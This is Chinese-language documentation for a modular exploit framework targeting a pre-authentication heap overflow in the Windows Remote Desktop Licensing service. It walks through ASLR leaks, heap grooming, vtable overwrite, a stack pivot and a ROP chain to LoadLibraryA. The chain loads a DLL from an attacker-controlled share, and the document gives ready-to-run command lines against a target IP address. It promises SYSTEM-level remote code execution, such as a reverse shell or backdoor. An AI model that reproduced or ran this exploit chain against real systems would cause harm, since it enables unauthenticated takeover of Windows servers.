模块化利用框架,用于 CVE-2024-38077(Windows RDL 堆溢出),具备 ASLR 绕过、堆风水、ROP 链生成以及 DLL 注入载荷,实现预认证远程代码执行。
本文档解释框架的每个组件、为什么存在以及如何在现代 Windows 上利用堆缓冲区溢出。
Windows 远程桌面授权服务 (lserver.exe) 在 CDataCoding::DecodeData 函数中存在堆缓冲区溢出。
┌─────────────────────────────────────────────────────────────┐
│ 漏洞:大小计算错误 │
├─────────────────────────────────────────────────────────────┤
│ 1. 客户端发送大小为 N 的 Base64 数据 │
│ 2. 服务端计算:buffer_size = (N / 4) * 3 │
│ 3. 服务端分配 'buffer_size' 字节的缓冲区 │
│ 4. 实际 Base64 解码写入:ceil(N * 3/4) 字节 │
│ 5. 若 N 不是 4 的倍数:溢出! │
└─────────────────────────────────────────────────────────────┘
具体示例:
(4001 / 4) * 3 = 1000 * 3 = 3000 字节分配ceil(4001 * 0.75) = 3001 字节写入┌─────────────────────────────────────────────────────────────────┐
│ 利用链 │
├──────────┬──────────┬──────────┬──────────┬──────────┬─────────┤
│ LEAK │ MODEL │ WRITE │ GROOM │ TRIGGER │ EXECUTE │
│ (ASLR) │ (Target) │ (Where) │ (Heap) │ (Use) │ (RCE) │
├──────────┼──────────┼──────────┼──────────┼──────────┼─────────┤
│ leak.py │target_ │write_ │heap_ │trigger │code_ │
│ │model.py │primitive │controller│py │reuse.py │
│ │ │.py │.py │ │ │
└──────────┴──────────┴──────────┴──────────┴──────────┴─────────┘
↓ ↓
┌───────────┐ ┌──────────────┐
│ execution │ │ payload │
│ .py │ │ .py │
└───────────┘ └──────────────┘
↓ ↓
┌───────────────────────────────────────────────────────────┐
│ mitigations.py │
│ (DEP、ASLR、CFG 感知) │
└───────────────────────────────────────────────────────────┘
↓
┌───────────────────────────────────────────────────────────┐
│ exploit.py │
│ (编排器) │
└───────────────────────────────────────────────────────────┘
primitives.py - 基础内存操作的低级工具。
利用需要:
# Pack/Unpack - 整数转字节及反向
p64(0xDEADBEEF) # → b'\xef\xbe\xad\xde\x00\x00\x00\x00'
p32(0x41414141) # → b'AAAA'
u64(b'\x41\x42...') # → 0x... (int)
# 循环模式 - 用于识别崩溃偏移
cyclic(100) # 生成德布鲁因序列
cyclic_find(pattern, value) # 查找值的偏移
# 对齐 - 内存需对齐
align(0x1003, 0x10) # → 0x1010(对齐到 16 字节)
实际问题:你导致崩溃,RIP 包含 0x61616171。
cyclic_find(pattern, 0x61616171) → 精确偏移!leak.py - 绕过 ASLR地址空间布局随机化:每次启动/执行,地址都会改变。
启动 1:ntdll.dll @ 0x7FFA12340000
启动 2:ntdll.dll @ 0x7FFB98760000
启动 3:ntdll.dll @ 0x7FFC55550000
不知道内存位置:
class LeakInfo:
"""泄露地址的容器"""
heap_base: int # 堆基址
ntdll_base: int # ntdll.dll 基址
kernel32_base: int # kernel32.dll 基址
# ...
class LeakProvider:
"""泄露源协调器"""
sources: List[LeakSource]
def obtain() -> LeakInfo:
# 依次尝试每个泄露源直到成功
| 源 | 工作原理 | 何时使用 |
|---|---|---|
ManualLeakSource | 用户提供地址 | 实验室/调试,可访问目标 |
ResponseLeakSource | 从 RPC 响应中提取 | 服务泄漏指针时 |
TimingLeakSource | 时间侧信道 | 理论性,非常困难 |
在演示/实验室中,你可以:
--ntdll-base 0x7ffa... 提供这模拟了实际泄露,允许测试链条的其余部分。
target_model.py - 目标映射易受攻击及相邻数据结构建模。
溢出 ≠ 利用。我们需要知道:
class VulnerableBuffer:
"""将发生溢出的缓冲区"""
allocation_size: int # 已分配多少
write_size: int # 将写入多少
overflow_amount: int # 差值 = 溢出
def calculate_overflow(input_size):
# 模拟计算错误
alloc = (input_size // 4) * 3
actual = ((input_size + 3) // 4) * 3
return alloc, actual, actual - alloc
class AdjacentObject:
"""将被破坏的对象(堆上的相邻对象)"""
fields: List[StructField]
has_vtable: bool # 是否有虚函数表?
has_function_ptr: bool # 是否有函数指针?
# 基于逆向分析的假设对象
license_req = AdjacentObject(
name="CLicenseRequest",
typical_size=0x100,
has_vtable=True
)
# 映射的字段
license_req.add_field("vtable", 0x00, 8, VTABLE, is_target=True)
license_req.add_field("refcount", 0x08, 4, REFCOUNT)
license_req.add_field("callback", 0x10, 8, CALLBACK, is_target=True)
is_target=True?标记对利用有用的字段:
vtable:如果覆盖,则控制方法调用callback:如果覆盖,则控制回调触发时机write_primitive.py - 受控写入溢出写入连续数据。但我们需要:
class WritePrimitive:
def build_overflow_data(self) -> bytes:
"""
构建包含精确值的溢出缓冲区
布局:
[填充至偏移] [受控值] [更多数据]
"""
data = bytearray(b"A" * max_offset)
for target in self.targets:
# 在精确偏移处放置精确值
data[target.offset:target.offset+8] = p64(target.value)
return bytes(data)
# 覆盖虚函数表
write_primitive.set_vtable_overwrite(
vtable_addr=fake_vtable_address,
obj_name="CLicenseRequest"
)
# 覆盖回调
write_primitive.set_callback_overwrite(
callback_addr=gadget_address
)
| 写入 | 结果 |
|---|---|
| AAAA... | 崩溃但无控制 |
| 精确偏移处的精确地址 | 受控执行 |
heap_controller.py - 堆 GroomingWindows 使用 LFH(低碎片堆) 和 段堆:
Grooming = 按摩堆以获得确定性布局。
GROOMING 前:
┌────┬────┬────┬────┬────┬────┐
│ ?? │ ?? │ ?? │ ?? │ ?? │ ?? │
└────┴────┴────┴────┴────┴────┘
随机分配,不可预测的空洞
GROOMING 后:
┌────┬────┬────┬────┬────┬────┐
│SPAM│SPAM│HOLE│SPAM│SPAM│HOLE│
└────┴────┴────┴────┴────┴────┘
受控布局,按需的“空洞”
class HeapLayoutController:
def execute_full_groom(self):
# 阶段 1:填充现有空洞
self.phase_fill(50)
# 阶段 2:激活目标桶的 LFH
# (Windows 约在相同大小分配 17 次后激活 LFH)
self.phase_activate_lfh()
# 阶段 3:Spray - 创建密集模式
sprayed = self.phase_spray(200)
# 阶段 4:创建战略空洞
# 每隔 N 个分配释放一个
self.phase_create_holes(sprayed, interval=4)
# 阶段 5:稳定
self.phase_stabilize()
trigger.py - 破坏后触发破坏已发生。然后呢?
当前状态:
- 内存已破坏 ✓
- 恶意值已写入 ✓
- 但还没人”使用“这个值!
我们需要程序读取并使用被破坏的数据。
class PostCorruptionTrigger:
strategies: List[TriggerStrategy]
# 实现的策略:
class SecondRequestTrigger:
"""发起第二次 RPC 调用,使用被破坏的对象"""
class DestructorTrigger:
"""断开连接 - 强制清理使用被破坏的指针"""
class TimerTrigger:
"""等待内部定时器处理被破坏的状态"""
1. 第一次 RPC 调用 → 破坏发生
2. 断开连接 (trigger) → 服务端调用析构函数
3. 析构函数读取被破坏的虚函数表 → 调用我们的地址
4. 受控执行!
execution.py - 流程控制RIP(x64)或 EIP(x86)= 指令指针
如果我们控制指令指针,我们就控制了执行。
class HijackMethod(Enum):
VTABLE = 0 # 堆溢出中最常见
FUNCTION_PTR = 1 # 回调指针
RETURN_ADDR = 2 # 栈溢出(不是我们的情况)
普通对象:
┌─────────────┐
│ vtable* ────┼───→ ┌──────────────────┐
│ data... │ │ method1 address │ ← 合法
│ │ │ method2 address │
└─────────────┘ └──────────────────┘
破坏后:
┌─────────────┐
│ vtable* ────┼───→ ┌──────────────────┐
│ data... │ │ GADGET ADDR │ ← 我们的!
│ │ │ GADGET ADDR │
└─────────────┘ └──────────────────┘
当 method1 被调用时 → 执行我们的 gadget!
问题:vtable 劫持只给我们一次调用。我们需要更多。
解决方案:Stack Pivot
# 将 RSP 交换到我们拥有 ROP 链地址的 gadget
xchg rax, rsp; ret # RAX = 我们的地址 → RSP = 我们的地址
# 现在“栈”是我们的受控区域!
# 每个 RET 跳到 ROP 链的下一个 gadget
code_reuse.py - ROP 链DEP(数据执行保护):堆和栈不可执行。
堆上的 Shellcode → 崩溃(访问冲突 - 执行)
ROP = 返回导向编程
我们将“gadgets”链接在一起——以 RET 结尾的小段代码。
GADGET 1: pop rcx; ret ← 将值放入 RCX
GADGET 2: pop rdx; ret ← 将值放入 RDX
GADGET 3: call LoadLibraryA ← 调用函数!
STACK/ROP CHAIN(我们的受控区域):
┌────────────────────┐
│ addr de pop_rcx │ ← RSP 指向这里
├────────────────────┤
│ 给 RCX 的值 │ ← 将被“pop”到 RCX
├────────────────────┤
│ addr de pop_rdx │ ← RET 跳到这里
├────────────────────┤
│ 给 RDX 的值 │
├────────────────────┤
│ addr LoadLibraryA │ ← 最终调用!
└────────────────────┘
# 加载 DLL(DLL 注入)
build_load_library(dll_path_addr) → ROP chain
# 分配可执行内存
build_virtual_alloc(size) → ROP chain + RAX = RWX 地址
# 执行命令
build_winexec(cmd_addr) → ROP chain
payload.py - 语义 Payload| 类型 | 示例 | 结果 |
|---|---|---|
| 数据 | AAAAAA... | 崩溃 |
| 意图 | ROP + DLL 路径 | DLL 已加载 |
class PayloadIntent(Enum):
CRASH_TEST = 0 # 验证利用是否工作
DLL_INJECT = 1 # 加载我们的 DLL
COMMAND_EXEC = 2 # 执行命令
SHELLCODE = 3 # 通过 ROP 执行 shellcode
def build_dll_inject(dll_path: str) -> bytes:
"""
最终结构:
┌──────────────────────────────┐
│ ROP Chain (LoadLibraryA) │ ← 首先执行
├──────────────────────────────┤
│ 填充 │
├──────────────────────────────┤
│ "\\attacker\share\pay.dll\0"│ ← 路径字符串
└──────────────────────────────┘
ROP 链将字符串地址传递给 LoadLibraryA
"""
mitigations.py - 缓解措施感知| 缓解措施 | 作用 | 我们的绕过 |
|---|---|---|
| DEP | 堆/栈不可执行 | ROP(代码重用) |
| ASLR | 地址随机化 | 信息泄露 |
| CFG | 验证调用目标 | 调用合法目标,然后 pivot |
| Stack Cookie | 检测栈溢出 | 我们不用栈溢出 |
| Heap Hardening | 防护页等 | 小心 Grooming |
def adapt_exploit(config):
if mitigations.DEP.enabled:
config["use_rop"] = True # 必需
if mitigations.ASLR.enabled:
config["require_leak"] = True # 必需
if mitigations.HEAP_HARDENING.enabled:
config["spray_count"] *= 2 # 更多 Spray
┌─────────────────────────────────────────────────────────────────┐
│ 利用流程 │
└─────────────────────────────────────────────────────────────────┘
STAGE 1: LEAK(绕过 ASLR)
├─ 获取内存地址
├─ 输入:手动或自动泄露
└─ 输出:包含模块基址的 LeakInfo
↓
STAGE 2: ANALYZE(目标映射)
├─ 计算溢出量
├─ 识别相邻对象
└─ 确定破坏偏移
↓
STAGE 3: GROOM(堆塑形)
├─ Fill → Activate LFH → Spray → Holes
├─ 创建确定性布局
└─ 为易受攻击的分配准备“着陆区”
↓
STAGE 4: PAYLOAD(构建)
├─ 构建 ROP 链
├─ 包含所需字符串/数据
└─ 与溢出数据结合
↓
STAGE 5: CORRUPT(触发溢出)
├─ 发送恶意 RPC 调用
├─ 导致溢出
└─ 覆盖目标(vtable/callback)
↓
STAGE 6: TRIGGER(强制使用)
├─ 断开连接或第二次调用
├─ 强制使用被破坏的指针
└─ 劫持执行
↓
STAGE 7: EXECUTE(RCE)
├─ ROP 链执行
├─ LoadLibraryA 加载 DLL
└─ 任意代码正在执行!
↓
┌─────────────────────────────────────────────────────────────┐
│ 结果:以 SYSTEM 权限获取反向 shell、后门等 │
└─────────────────────────────────────────────────────────────┘
pip install impacket
# 仅检查服务是否运行
python -m madlicense.poc -t 10.0.0.5 --check
# 空运行(不发送 payload,模拟一切)
python -m madlicense.poc -t 10.0.0.5 --dry-run \
--ntdll-base 0x7ffa12340000
# 完整 DLL 注入
python -m madlicense.poc -t 10.0.0.5 \
--dll "\\\\attacker\\share\\payload.dll" \
--heap-base 0x22345670000 \
--ntdll-base 0x7ffa12340000 \
--kernel32-base 0x7ffa12500000
# 执行 calc.exe(经典 PoC)
python -m madlicense.poc -t 10.0.0.5 \
--cmd calc.exe \
--ntdll-base 0x7ffa12340000
此框架用于:
不允许用于:
关键句:
“在现代 Windows 上利用堆缓冲区溢出不仅仅是‘写太多’。 这是一条精确的链:泄露 → grooming → 破坏 → 触发 → 执行。”
9 个模块:
缺少任何一个,都无法实现 RCE。